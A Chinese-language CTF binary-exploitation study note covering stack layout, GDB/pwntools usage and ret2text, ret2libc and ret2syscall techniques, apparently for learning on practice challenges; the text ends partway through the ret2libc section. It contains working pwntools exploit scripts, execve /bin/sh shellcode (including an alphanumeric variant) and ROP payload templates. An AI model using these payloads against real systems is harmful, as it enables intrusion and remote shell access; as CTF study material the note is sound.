pwn_study_note

基础知识

程序内存布局

程序分为四部分

  • 第一部分 ,写的代码程序,可以当作程序的开始空间 (内存低位)
  • 第三部分 ,malloc 堆的空间 (heap 堆空间)
  • 第四部分,shared libraries, 共享库文件
  • 第二部分,函数调用过程中生成的 (Stack 栈空间)
  • kernal (内存高位)

和栈有关的两个寄存器:
esp: 栈顶指针寄存器 (内存低位)
ebp: 栈底指针寄存器 (内存高位)

验证:
运行 a.out 程序后可以输入命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ ps -a | grep a.out
4128 pts/1 00:00:00 a.out
❯ cat /proc/4128/maps
58c80bff9000-58c80bffa000 r--p 00000000 00:25 8 PATH
58c80bffa000-58c80bffb000 r-xp 00001000 00:25 8 PATH
58c80bffb000-58c80bffc000 r--p 00002000 00:25 8 PATH
58c80bffc000-58c80bffd000 r--p 00002000 00:25 8 PATH
58c80bffd000-58c80bffe000 rw-p 00003000 00:25 8 PATH
58c842c15000-58c842c36000 rw-p 00000000 00:00 0 [heap]
7d2e4e400000-7d2e4e428000 r--p 00000000 103:02 3030135 /usr/lib/x86_64-linux-gnu/libc.so.6
7d2e4e428000-7d2e4e5b0000 r-xp 00028000 103:02 3030135 /usr/lib/x86_64-linux-gnu/libc.so.6
7d2e4e5b0000-7d2e4e5ff000 r--p 001b0000 103:02 3030135 /usr/lib/x86_64-linux-gnu/libc.so.6
7d2e4e5ff000-7d2e4e603000 r--p 001fe000 103:02 3030135 /usr/lib/x86_64-linux-gnu/libc.so.6
7d2e4e603000-7d2e4e605000 rw-p 00202000 103:02 3030135 /usr/lib/x86_64-linux-gnu/libc.so.6
7d2e4e605000-7d2e4e612000 rw-p 00000000 00:00 0
7d2e4e6c9000-7d2e4e6cc000 rw-p 00000000 00:00 0
7d2e4e6df000-7d2e4e6e1000 rw-p 00000000 00:00 0
7d2e4e6e1000-7d2e4e6e5000 r--p 00000000 00:00 0 [vvar]
7d2e4e6e5000-7d2e4e6e7000 r-xp 00000000 00:00 0 [vdso]
7d2e4e6e7000-7d2e4e6e8000 r--p 00000000 103:02 3029947 /usr/.../ld-linux-x86-64.so.2
7d2e4e6e8000-7d2e4e713000 r-xp 00001000 103:02 3029947 /usr/.../ld-linux-x86-64.so.2
7d2e4e713000-7d2e4e71d000 r--p 0002c000 103:02 3029947 /usr/lib/.../ld-linux-x86-64.so.2
7d2e4e71d000-7d2e4e71f000 r--p 00036000 103:02 3029947 /usr/lib/.../ld-linux-x86-64.so.2
7d2e4e71f000-7d2e4e721000 rw-p 00038000 103:02 3029947 /usr/lib/.../ld-linux-x86-64.so.2
7ffe11122000-7ffe11143000 rw-p 00000000 00:00 0 [stack]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]

这是程序的开始空间

1
2
3
4
5
58c80bff9000-58c80bffa000 r--p 00000000 00:25 8                          PATH
58c80bffa000-58c80bffb000 r-xp 00001000 00:25 8 PATH
58c80bffb000-58c80bffc000 r--p 00002000 00:25 8 PATH
58c80bffc000-58c80bffd000 r--p 00002000 00:25 8 PATH
58c80bffd000-58c80bffe000 rw-p 00003000 00:25 8 PATH

heap 堆空间

1
58c842c15000-58c842c36000 rw-p 00000000 00:00 0                          [heap]

共享库文件

1
2
3
4
5
7d2e4e400000-7d2e4e428000 r--p 00000000 103:02 3030135                   /usr/lib/x86_64-linux-gnu/libc.so.6
7d2e4e428000-7d2e4e5b0000 r-xp 00028000 103:02 3030135 /usr/lib/x86_64-linux-gnu/libc.so.6
7d2e4e5b0000-7d2e4e5ff000 r--p 001b0000 103:02 3030135 /usr/lib/x86_64-linux-gnu/libc.so.6
7d2e4e5ff000-7d2e4e603000 r--p 001fe000 103:02 3030135 /usr/lib/x86_64-linux-gnu/libc.so.6
7d2e4e603000-7d2e4e605000 rw-p 00202000 103:02 3030135 /usr/lib/x86_64-linux-gnu/libc.so.6

stack 栈空间在内存最高地址向低地址生长

1
2
3
4
5
6
7d2e4e6e7000-7d2e4e6e8000 r--p 00000000 103:02 3029947                   /usr/.../ld-linux-x86-64.so.2
7d2e4e6e8000-7d2e4e713000 r-xp 00001000 103:02 3029947 /usr/.../ld-linux-x86-64.so.2
7d2e4e713000-7d2e4e71d000 r--p 0002c000 103:02 3029947 /usr/lib/.../ld-linux-x86-64.so.2
7d2e4e71d000-7d2e4e71f000 r--p 00036000 103:02 3029947 /usr/lib/.../ld-linux-x86-64.so.2
7d2e4e71f000-7d2e4e721000 rw-p 00038000 103:02 3029947 /usr/lib/.../ld-linux-x86-64.so.2
7ffe11122000-7ffe11143000 rw-p 00000000 00:00 0 [stack]
调用函数stack变化

函数调用开始:

1
2
3
4
0x80491b1 <dofunc>       push   ebp
0x80491b2 <dofunc+1> mov ebp, esp
0x80491b4 <dofunc+3> push ebx
0x80491b5 <dofunc+4> sub esp, 0x14

call dofunc = push eip, jmp &dofunc (esp-4, eip 下一步指向的地址(返回地址) 存入栈中esp的位置, eip jump到 dofunc函数的内存地址)
push ebp = mov [esp-4], ebp (esp-4, ebp的值压入esp所在位置的栈中)
mov ebp,esp 当前esp指针的值赋值给ebp
sub esp,0xXX 减少esp的值,为局部变量分配栈空间

ebp 栈底指针为底,数据往低位存储

1
2
3
4
5
6
7
8
9
────────────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffffd1d0 ◂— 0xffffffff
01:0004│-014 0xffffd1d4 —▸ 0xf7d8396c ◂— 0x914
02:0008│-010 0xffffd1d8 —▸ 0xf7fc1400 —▸ 0xf7d72000 ◂— 0x464c457f
03:000c│-00c 0xffffd1dc ◂— 0
04:0010│-008 0xffffd1e0 ◂— 0
05:0014│-004 0xffffd1e4 —▸ 0xf7fa2e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */
06:0018│ ebp 0xffffd1e8 —▸ 0xffffd1f8 ◂— 0
07:001c│+004 0xffffd1ec —▸ 0x8049218 (main+21) ◂— mov eax, 0

函数调用结束:
调用leave 和 ret指令,代表调用结束,esp回到ebp的位置 , ebp回到所指指针位置

1
2
► 0x8049201  <dofunc+80>                     leave
0x8049202 <dofunc+81> ret <main+21>

leave = mov esp,ebp; pop ebp (esp回到ebp栈底的位置,弹出esp, 当前所在内存的值赋值给ebp, esp+4) (ESP所在位置为IDA中的s)
ret = pop eip (弹出eip,赋值esp当前所在内存地址栈值给eip,esp+4) (ESP所在位置为IDA中的r)
(如果栈内数据不被覆盖,那就不会消失)

stack情况:

1
2
3
4
5
6
7
00:0000│ esp 0xffffd1d0 ◂— 0xffffffff
01:0004│-014 0xffffd1d4 —▸ 0xf7d8396c ◂— 0x914
02:0008│ ecx 0xffffd1d8 ◂— 'aaa\n'
03:000c│-00c 0xffffd1dc ◂— 0
04:0010│-008 0xffffd1e0 ◂— 0
05:0014│-004 0xffffd1e4 —▸ 0xf7fa2e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */
06:0018│ ebp 0xffffd1e8 —▸ 0xffffd1f8 ◂— 0

变为:

1
2
3
4
00:0000│ esp 0xffffd1ec —▸ 0x8049218 (main+21) ◂— mov eax, 0
01:0004│-008 0xffffd1f0 ◂— 0
02:0008│-004 0xffffd1f4 ◂— 0
03:000c│ ebp 0xffffd1f8 ◂— 0
[+] [+] [+] [+] 堆栈平衡问题:

可以尝试最终 payload,地址+1 或者 -1 ,或者先调用一次 ret 再执行
例题: buuctf - rip,最终 payload 的 fun_addr 需要+1 ,或者调用两次

  • i386
    ret2libc 的时候,比如 write 泄露地址, 溢出后调用 plt,后面需要先跟返回值, 然后再跟栈中参数
1
2
payload = b'a' * padding + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) + p32(main_addr)
payload2 = b'a' * padding + p32(system_addr) + p32(main_addr) + p32(binsh_addr)
  • p32(printf_addr) 后面输出 flag 的缓冲区地址,中间要跟 p32(exit_addr) (exit_addr 直接 function 搜索 exit 就行) #buuctf_not_the_same_3dsctf_2016
1
p32(printf_addr) + p32(exit_addr) + p32(flag_addr)
结尾无 leave
1
2
3
程序一开始就有 
sub rsp, 88h
那么溢出栈的空间就是 b'a' * 0x88

GDB 动调基础

  • RIP: 存放当前执行的指令地址
  • RSP : 栈顶指针
  • RBP: 栈底指针
  • RAX: 通用寄存器
  • zf: Zero Flag 寄存器
    INTEL 指令集
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
set disassembly-flavor intel  
```

#### Assembly 一般指令
```assembly
sub rsp, 0x18 ;rsp = [rsp-0x18]
mov rax, rbp ;rax = rbp
lea rax, [rbp-0x18] ;与上面的操作相同, lea可以当作运算指令, 运算结束后赋值给rax (优点:指令断,不用重新赋值rbp)
xor ebx, ebx ;ebx = 0 / mov ebx, 0
call xxxx ;调用一个子程序

cmp al, 0x61 ;一般下面会跟je/jne,cmp就相当于sub指令,al-0x61,但是结果不保存,与下面的jne/je进行比较
(ax,bx = 3, cmp ax,bx) 3-3=0 ,zf寄存器为1;相反的如果cmp两个数相减不等于0,那zf就等于0
jne xxxxx ;zf标志位不为0则跳转
jn xxxx ;zf标志位为0时跳转
test eax, eax ;当作cmp eax,0使用 eax&eax,eax=0,->0 eax=!0,->!0 数据不存储
```

#### gdb 一般操作
```
run 直接运行程序 / start 开始调试程序 gdb会自动断到分析处的main函数处 (rip指向main)
disassembly $rip 在rip处反汇编
b 设置断点 , b *0x00005555555527a d num 删除断点
disable b num 使断点失效
enable b num 重新启用断点
i b 查看设置的断点
i r 查看所有寄存器
c continue 执行到断点
ni 单步执行(步过)
si 单步步入
finish 步出
p $rbp print
x/10i $rip 以汇编的方式查看$rip内存地址开始的下10行
x/20b $rbp-0x10 ;b=byte x/20gx $rbpset *0x7fffffffd7c0=0x61 设置内存数据
set *((unsigned int)$ebp)=0x61
```

**pwndbg, 分屏控制显示:**

set context-output /dev/pts/2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

#### pwntools库 一般操作
- 不推荐
```
本地建立socat
socat TCP-LISTEN:8877,fork exec:./question_1_plus_x64,reuseaddr
```

```python
import socket
from pwn import *
import struct

def pwn():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)       
    s.connect(("127.0.0.1", 8877))   
    payload = b'P' * 8 + b'\x10' # ATTENTION BYTE   
    s.sendall(payload + b'\n')
    conn = remote('127.0.0.1', 8877)   
    conn.sock = s   
    conn.interactive()
if __name__  == "__main__":
    pwn()
  • 推荐 pwn lib
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context.log_level = 'debug'

# 第一种连接方式,通过ip和port去连接
# conn = remote('192.168.55.140', 8877)
# 第二种连接方式,通过ssh连接
# shell = ssh(host='192.168.14.144', user='root', port=2222, password='123456')
# 也可将可执行文件下载到本地进行调试
conn = process('./a.out')

# conn.recvuntil('input:\n')
# 接受数据直到我们设置的标志出现, 也可以写成:
Str_ = b'input:\n'
payload = b'a' * 9
conn.sendafter(Str_,payload) #在接收Str_之后,发送payload
# conn.send(payload)
conn.interactive() # 直接进行交互,相当于回到shell的模式,在取得shell之后使用

其他命令

  • 生成一个100长度的字符串,以查找溢出/比较的位置
1
2
❯ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

可以通过 cyclic -l xxxx 来判断长度(第一个字符开始)

1
2
❯ cyclic -l uaaa
80
  • ROPgadget 一些命令
1
2
ROPgadget --binary ./ciscn_2019_ne_5  --only "ret"
ROPgadget --binary ./ciscn_2019_ne_5 --string "sh"

io.recv() 相关

io.recv() 接收
!!! 注意溢出后数据返回是否有 “\n” !!!

  • i386
1
2
puts_addr = u32(io.recv(4))

  • amd64
1
2
3
4
5
6
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))

puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

leak = io.recvline().strip() #接收完整的一整行数据
puts_addr = u64(leak.ljust(8, b'\x00'))

io.recv() 接收特定字符串后地址

1
2
3
4
5
例: puts: 0x0000000

io.recvuntil("puts: ")
puts_addr = eval(io.recvuntil("\n" , drop=True))
print("puts_addr:",hex(puts_addr))

io.recv() 接收特定符号内数据

1
2
3
# What's this : [0x7fffcf2ff660]
io.recvuntil("What's this : [")
v5_addr = eval(io.recvuntil(b"]",drop=True))

ret2Libc

普通泄露流程

1
2
3
4
5
6
7
8
9
# 求基地址
libc_base = write_addr - libc.sym["write"] # 基地址 = 真实地址 - 偏移地址
print('libc_base:',hex(libc_base))

# binsh/system_addr
system_addr = libc_base + libc.symbols["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
print('system:',hex(system_addr))
print('bin_sh:',hex(bin_sh_addr))

泄露 got 地址? (?)
如果通过 printf 输出,需要 rdi -> format_s , rsi -> xxx@got
需要有一个 format_s ,也就是 %s (字符串中带带有 %s 的都可以)

Python_LibcSearcher 基本用法, 有题目提供的 libc 先用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 引入库
from LibcSearcher import *

# 根据求出来的write偏移地址 找 libc库
libc = LibcSearcher('write', write_addr)

# 更改
libc_base = write_addr - libc.dump('write')
print('libc_base:',hex(libc_base))

system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print('system:',hex(system_addr))
print('bin_sh:',hex(binsh_addr))

ret2syscall

基本系统调用号
64bit

  • execve 0x3b
  • read 0x0

32bit

  • execve 0x0b
  • read 0x03

基本绕过

  • 涉及到 strlen 然后比较字符长度的,都可以用 \x00 截断绕过 #buuctf_ciscn_2019_en_2
1
payload = b'\x00' + b'a' * (padding - 1)
  • while(data) 检测输入是否在指定字符串中, 通过 \x00 开头的汇编代码绕过检测 (详见CTFSHOW pwn66)
1
2
3
shellcode = asm(shellcraft.sh())
payload = b'\x00\xc0' + shellcode
io.sendline(payload)
  • 遇到 (unsigned int)a2 > 10 ,输入 -1 即可到达 int 最大值,导致溢出 (-1 = 4294967295)
1
io.sendline(str(-1))
  • shellcode 写入必须可见字符
1
2
3
4
# AMD64, 注意io.send()
shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.send(shellcode)
io.interactive()

shellcode

  • AMD64
1
2
3
4
5
6
7
8
9
10
# 默认shellcraft.sh()
shellcode = asm(shellcraft.sh(),arch='amd64')

# 有长度限制的时候:
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'

# 只能写入可读字符:AMD64, 注意io.send()
shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.send(shellcode)
io.interactive()
  • i386
1
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

ISSUE

遇到无法执行的,可能是 libc 问题

1
patchelf --set-interpreter /lib/ld-linux.so.2 ./attachment-7

一般攻击向量

Canary + NX disable

  • canary 地址泄露
  • nop sled

No canary found + NX disabled

  • shellcode
  • shellcode + ret2reg

No canary found + NX enabled

  • ROPgadget –binary pwn73 –ropchain
  • ret2libc
  • ret2syscall

Full RELRO + PIE enabled

  • 泄露一个 real_addr(利用 offset) 就可以 ret2libc

保护全开

  • one_gadget

ret2X 例题

基本 ret2text x86

ret2text就是执行程序中已有的代码,例如程序中写有system等系统的调用函数, 通过溢出覆盖返回地址执行
IDA打开文件 ,找到函数内栈空间

1
2
3
4
5
6
7
8
9
-00000010 buf             dd ?
-0000000C var_C dd ?
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)

判断buf 到 r(栈底指针) 处偏移为0x14 = 20byte,r往下四字节就是给ret的栈空间,可以利用溢出来赋值r
覆盖 r 本身需要额外的 4 字节
20byte + 4byte = 24byte

1
payload = b'a' * 20 + b'&func'

pwntools 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(log_level='debug',arch='i386', os='linux')
# checksec FILENAME
pwnfile= './question_4_1_x86'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x14
# padding = padding2ebp + context.word_size//8
#通过调试得到

gdb.attach(io)
pause()
# ni finish finish 到调用的函数内, ni....ni

return_addr = 0x08049182
# sh_addr = 0x0804c03e
payload = flat([cyclic(padding), return_addr])
delimiter = 'input:'
io.sendlineafter(delimiter, payload)
io.interactive()
  • 先ni,然后在pwntool shell中回车代表开始
1
2
3
4
5
6
──────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────
► 0 0xe9b2c579 __kernel_vsyscall+9
1 0xe99ed9d7 read+55
2 0x80491f6 dofunc+69 <- 这是我们要到达的地方
3 0x8049182 func
4 0xa None
  • gdb中finish(可以看右下角的 BACKTRACE)到main中的被调用的那个函数
1
2
3
4
───────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────
► 0 0x80491f6 dofunc+69
1 0x8049182 func
2 0xa None
  • 然后可以用 stack 20 查看栈覆盖和溢出情况
1
2
3
4
5
6
06:0018│ ecx 0xfff272c8 ◂— 0x61616161 ('aaaa')
07:001c│-00c 0xfff272cc ◂— 0x61616162 ('baaa')
08:0020│-008 0xfff272d0 ◂— 0x61616163 ('caaa')
09:0024│-004 0xfff272d4 ◂— 0x61616164 ('daaa')
0a:0028│ ebp 0xfff272d8 ◂— 0x61616165 ('eaaa')
0b:002c│+004 0xfff272dc —▸ 0x8049182 (func) ◂— push ebp
  • 一直ni / c就可以拿到shell
esp寻址的 ret2text x86

和基本题型差不多,只是ret位置在IDA中显示错误而已
在输入函数前提前准备好cyclic

1
2
pwndbg> cyclic 50
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
  • stack 30
    可以看到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
00:0000│ esp 0xffffd160 ◂— 0
01:0004│-034 0xffffd164 —▸ 0xffffd178 ◂— 0x61616161 ('aaaa')
02:0008│-030 0xffffd168 ◂— 0x100
03:000c│-02c 0xffffd16c —▸ 0x80491b7 (dofunc+9) ◂— add ebx, 0x2e49
04:0010│-028 0xffffd170 ◂— 0xffffffff
05:0014│-024 0xffffd174 —▸ 0xf7d8396c ◂— 0x914
06:0018│ ecx 0xffffd178 ◂— 0x61616161 ('aaaa')
07:001c│-01c 0xffffd17c ◂— 0x61616162 ('baaa')
08:0020│-018 0xffffd180 ◂— 0x61616163 ('caaa')
09:0024│-014 0xffffd184 ◂— 0x61616164 ('daaa')
0a:0028│-010 0xffffd188 ◂— 0x61616165 ('eaaa')
0b:002c│-00c 0xffffd18c ◂— 0x61616166 ('faaa')
0c:0030│-008 0xffffd190 ◂— 0x61616167 ('gaaa')
0d:0034│-004 0xffffd194 ◂— 0x61616168 ('haaa')
0e:0038│ ebp 0xffffd198 ◂— 0x61616169 ('iaaa')
0f:003c│+004 0xffffd19c ◂— 0x6161616a ('jaaa')
10:0040│+008 0xffffd1a0 ◂— 0x6161616b ('kaaa')
11:0044│+00c 0xffffd1a4 ◂— 0x6161616c ('laaa')

可以看到ebp处为32byte,(其实是错误的,因为是esp寻址)

1
2
3
pwndbg> cyclic -l iaaa
Finding cyclic pattern of 4 bytes: b'iaaa' (hex: 0x69616161)
Found at offset 32

继续运行到ret:
可以看到esp处为 ‘faaa’, 断定栈空间到ret处为20byte, 后可溢出
20byte + 4byte

1
2
3
4
5
6
7
8
9
10
11
12
13
14
───────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────
00:0000│ esp 0xffffd18c ◂— 0x61616166 ('faaa')
01:0004│-008 0xffffd190 ◂— 0x61616167 ('gaaa')
02:0008│-004 0xffffd194 ◂— 0x61616168 ('haaa')
03:000c│ ebp 0xffffd198 ◂— 0x61616169 ('iaaa')
04:0010│+004 0xffffd19c ◂— 0x6161616a ('jaaa')
05:0014│+008 0xffffd1a0 ◂— 0x6161616b ('kaaa')
06:0018│+00c 0xffffd1a4 ◂— 0x6161616c ('laaa')
07:001c│+010 0xffffd1a8 ◂— 0xff0a616d


pwndbg> cyclic -l faaa
Finding cyclic pattern of 4 bytes: b'faaa' (hex: 0x66616161)
Found at offset 20
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(log_level='debug',arch='i386', os='linux')

pwnfile= './question_4_1_x86_sep'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x14
gdb.attach(io)
pause()

return_addr = 0x08049182
payload = flat([cyclic(padding), return_addr])
delimiter = 'input:'
io.sendlineafter(delimiter, payload)
io.interactive()

基本ret2text x64程序
1
2
3
4
5
6
7
8
❯ checksec question_4_1_x64
[*] '/mnt/hgfs/CTF/Pwn_Study/pwn_exercise/section_2/第二章课件/chapter_2/test_6/question_4_1_x64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

还是一样找溢出的地方

1
2
3
4
5
6
pwndbg> stack 30
00:0000│ rsp 0x7fffffffdfd0 ◂— 0
01:0008│ rsi 0x7fffffffdfd8 ◂— 0x6161616161616161 ('aaaaaaaa')
02:0010│ rbp 0x7fffffffdfe0 ◂— 0x6161616161616161 ('aaaaaaaa')
03:0018│+008 0x7fffffffdfe8 ◂— 0x6262626262626262 ('bbbbbbbb')
...

可以看到 03:0018│+008 0x7fffffffdfe8 ◂— 0x6262626262626262 ('bbbbbbbb') 就已经溢出了, (e8 - e0) 溢出

1
2
3
4
5
─────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────
► 0 0x401193 dofunc+50
1 0x6262626262626262 None
2 0x7fffffffe00a None

修改脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(log_level='debug',arch='amd64', os='linux')

pwnfile= './question_4_1_x64'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x10
gdb.attach(io)
pause()

return_addr = 0x401142
payload = flat([cyclic(padding), return_addr])
delimiter = 'input:'
io.sendlineafter(delimiter, payload)
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
───────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────
00:0000│ rsp 0x7fff11b9a6a0 ◂— 0
01:0008│ rsi 0x7fff11b9a6a8 ◂— 0x6161616261616161 ('aaaabaaa')
02:0010│ rbp 0x7fff11b9a6b0 ◂— 0x6161616461616163 ('caaadaaa')
03:0018│+008 0x7fff11b9a6b8 —▸ 0x401142 (func) ◂— push rbp
04:0020│+010 0x7fff11b9a6c0 —▸ 0x7fff11b9a70a ◂— 0
05:0028│+018 0x7fff11b9a6c8 —▸ 0x790f4362a1ca (__libc_start_call_main+122) ◂— mov edi, eax
06:0030│+020 0x7fff11b9a6d0 —▸ 0x7fff11b9a710 ◂— 0
07:0038│+028 0x7fff11b9a6d8 —▸ 0x7fff11b9a7e8 —▸ 0x7fff11b9c4eb ◂— './question_4_1_x64'
─────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────
► 0 0x401193 dofunc+50
1 0x401142 func
2 0x7fff11b9a70a None

可以看到已经成功溢出了

ret2text 传参 x86
  • 需要了解一个知识,ret后跟的是要调用函数的地址(&func) , 随后+4栈内存跟的是被调用函数中(如果有)的参数
    我们需要构造成:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> stack 20
00:0000│ esp 0xffffcdb0 ◂— 0 ESP
01:0004│-024 0xffffcdb4 —▸ 0xffffcdc8 ◂— 'aaaabbbb\n'
02:0008│-020 0xffffcdb8 ◂— 0x100
03:000c│-01c 0xffffcdbc —▸ 0x80491b9 (dofunc+12) ◂— add ebx, 0x2e47
04:0010│-018 0xffffcdc0 ◂— 0xffffffff
05:0014│-014 0xffffcdc4 —▸ 0xf7d8396c ◂— 0x914
06:0018│ ecx 0xffffcdc8 ◂— 'aaaabbbb\n' aaaa
07:001c│-00c 0xffffcdcc ◂— 'bbbb\n' bbbb
08:0020│-008 0xffffcdd0 ◂— 0xa /* '\n' */
09:0024│-004 0xffffcdd4 —▸ 0xf7fa2e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */
0a:0028│ ebp 0xffffcdd8 —▸ 0xffffcde8 ◂— 0
0b:002c│+004 0xffffcddc —▸ 0x8049214 (main+21) ◂— mov eax, 0 ret后的调用地址 (&func)
0c:0030│+008 0xffffcde0 ◂— 0 执行完func后的返回地址 (很重要!)
... ↓ 2 skipped (如果有,可能)被调用的参数 (search "/bin/sh")
(如果有,可能)被调用的第二个参数
......
1
2
3
4
5
6
7
07:001c│-00c 0xffffcdcc ◂— 'aaaa\n'                                                            
08:0020│-008 0xffffcdd0 ◂— 0xa /* '\n' */
09:0024│-004 0xffffcdd4 —▸ 0xf7fa2e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */
0a:0028│ ebp 0xffffcdd8 —▸ 0xffffcde8 ◂— 0
0b:002c│+004 0xffffcddc —▸ 0x8049182 (func) ◂— push ebp (&func)
0c:0030│+008 0xffffcde0 ◂— 0xdeadbeef (随便一个return值)
0d:0034│+00c 0xffffcde4 —▸ 0x804c024 (sh) ◂— '/bin/sh' (search "/bin/sh" 的内存地址)

要用脚本完成就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(log_level='debug',arch='i386', os='linux')

pwnfile= './question_4_2_x86_new'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x14 #20个'a'

gdb.attach(io)
pause()

return_addr = elf.symbols['func'] #取func的地址
bin_sh_addr = 0x804c018
payload = b'a' * padding + p32(return_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
# payload = flat([cyclic(padding),return_addr])
delimiter = 'input:'
io.sendlineafter(delimiter, payload)
io.interactive()

buuctf 例题 : gets 函数溢出,-> main 函数正常退出(exit 地址) -> get_flag_addr -> argc1 -> argc2
https://buuoj.cn/challenges#get_started_3dsctf_2016
payload:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

io = remote('node5.buuoj.cn', 27102)

exit_addr = 0x804E6A0
get_flag_addr = 0x80489A0
payload = b'a' * 56 + p32(get_flag_addr) + p32(exit_addr) + p32(0x308CD64F) + p32(0x195719D1)
# 注意 exix_addr 的位置

io.sendline(payload)
io.interactive()
ret2text 传参 x64

x86-64架构寄存器, 传参过程会调用 rdi, rsi, rdc, rcx, r8, r9.... 等寄存器,分别为第一个参数,第二个参数…..

1
2
3
4
RDI  0x404040 (sh) ◂— 0x68732f6e69622f /* '/bin/sh' */    (设置RDI寄存器为/bin/sh的内存地址)

► 0x401155 <func+19> call system@plt <system@plt>
command: 0x404040 (sh) ◂— 0x68732f6e69622f /* '/bin/sh' */ (可以看到已经成功传参了)

如果要用pwn脚本打,需要理解一些东西:
ROP (Return-Oriented Programming) :

  • 通过组合程序中已有的代码片段(gadgets)来构造恶意逻辑
  • 每个 gadget 通常以 ret 指令结尾,用于链接多个片段形成攻击链
1
ROPgadget --binary question_4_2_x64_new 

之前是通过dbg中的set命令设置的,但是在脚本中,我们要用ROP来构造,所以要改为:

1
2
3
4
1 栈溢出
2 pop rdi; ret (赋值/bin/sh 给 rdi寄存器)
3 bin_sh_addr
4 func_address (此时rdi已经被赋值为了/bin/sh的内存地址,直接调用func函数,rdi会被当作第一个参数传入func函数, getshell)

pop rdi; ret:

1
0x000000000040120b : pop rdi ; ret

编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile= './question_4_2_x64'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x10

gdb.attach(io)
pause()

return_addr = elf.symbols['func']
pop_rdi_ret = 0x40120b
bin_sh_addr = 0x404040

payload = b'a' * padding + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(return_addr)
delimiter = 'input:'
io.sendlineafter(delimiter, payload)
io.interactive()


ret2libc x64

如果比赛 libc 环境了,直接用 libc 的环境即可
(通过寄存器传参: rsi rdi rdx rcx r8 r9 …)
在程序内没有system函数的时候 , 只能通过去libc共享库连接文件中去调用 ,怎么知道system的地址呢?
泄露程序中已经有调用的函数地址 , 通过 真实地址 = 基地址 + 偏移地址 的方式计算出system , binsh的地址 , 然后再去布置栈帧,控制执行流system(“/bin/sh”),这就是ret2libc

  • 整体思路
1
2
3
4
5
6
7
1.首先寻找一个函数的真实地址,以puts为例。构造合理的payload1,劫持程序的执行流程,使得程序执行puts(puts@got)打印得到puts函数的真实地址,并重新回到main函数开始的位置。
2.找到puts函数的真实地址后,根据其最后三位,可以判断出libc库的版本(本文忽略)。
